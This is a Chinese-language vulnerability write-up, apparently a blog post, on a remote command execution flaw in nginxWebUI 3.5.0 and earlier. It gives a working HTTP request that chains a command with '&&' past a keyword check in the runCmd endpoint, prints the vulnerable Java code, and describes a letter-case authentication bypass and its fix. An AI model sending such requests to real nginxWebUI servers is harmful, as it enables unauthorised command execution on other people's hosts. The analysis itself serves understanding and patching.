0%

nginxWebUI runCmd前台远程命令执行漏洞

漏洞详情

nginxWebUI是一款图形化管理nginx配置的工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发,tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 配置好后可一建生成nginx.conf文件, 同时可控制nginx使用此文件进行启动与重载, 完成对nginx的图形化控制闭环.

nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。该漏洞利用条件简单,漏洞危害较高。

影响版本

nginxWebUI <= 3.5.0

漏洞复现

image-20240113101944419

请求包如下

1
2
3
4
5
6
7
8
9
10
GET /AdminPage/conf/runCmd?cmd=calc%26%26echo%20nginx HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/
Connection: close
Cookie: SOLONID=ea108d385b8a4a49a33258675cf6b927; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1705112055; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1705112055
Upgrade-Insecure-Requests: 1

漏洞分析

看payload感觉应该是一个鉴权漏洞之类的,往这方面找一下

commit比较一下,我们能发现这样一个特点

image-20240113110227957

修复后添加了一个toLowerCase()方法,那就很清晰了,大小写绕过鉴权,进而执行命令

我们全局搜索一下rumCmd,找到这样一个路由

image-20240113102057928

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@Mapping(value = "runCmd")
public JsonResult runCmd(String cmd, String type) {
if (StrUtil.isNotEmpty(type)) {
settingService.set(type, cmd);
}

try {
String rs = "";
// 过滤特殊字符,防止命令拼接
cmd = cmd.replaceAll(";","\\\\;");
cmd = cmd.replaceAll("`","\\\\`");
cmd = cmd.replaceAll("\\|","\\\\|");
cmd = cmd.replaceAll("\\{","\\\\{");
cmd = cmd.replaceAll("\\}","\\\\}");
//仅执行nginx相关的命令,而不是其他的恶意命令
if(!cmd.contains("nginx")){
cmd = "nginx restart";
}
if (SystemTool.isWindows()) {
RuntimeUtil.exec("cmd /c start " + cmd);
} else {
rs = RuntimeUtil.execForStr("/bin/sh", "-c", cmd);
}

cmd = "<span class='blue'>" + cmd + "</span>";
if (StrUtil.isEmpty(rs) || rs.contains("已终止进程") //
|| rs.contains("signal process started") //
|| rs.toLowerCase().contains("terminated process") //
|| rs.toLowerCase().contains("starting") //
|| rs.toLowerCase().contains("stopping")) {
return renderSuccess(cmd + "<br>" + m.get("confStr.runSuccess") + "<br>" + rs.replace("\n", "<br>"));
} else {
return renderSuccess(cmd + "<br>" + m.get("confStr.runFail") + "<br>" + rs.replace("\n", "<br>"));
}
} catch (Exception e) {
logger.error(e.getMessage(), e);
return renderSuccess(m.get("confStr.runFail") + "<br>" + e.getMessage().replace("\n", "<br>"));
}
}

对传入的cmd参数先进行一些过滤,然后检验是否存在nginx字符,如果存在的话就执行exec方法

所以我们可以通过&&符号绕过if条件的判断,进而执行相应的命令

image-20240113102506238

漏洞修复

更新版本

再次以同样payload进行尝试时,发现直接出现了302跳转

image-20240113103329607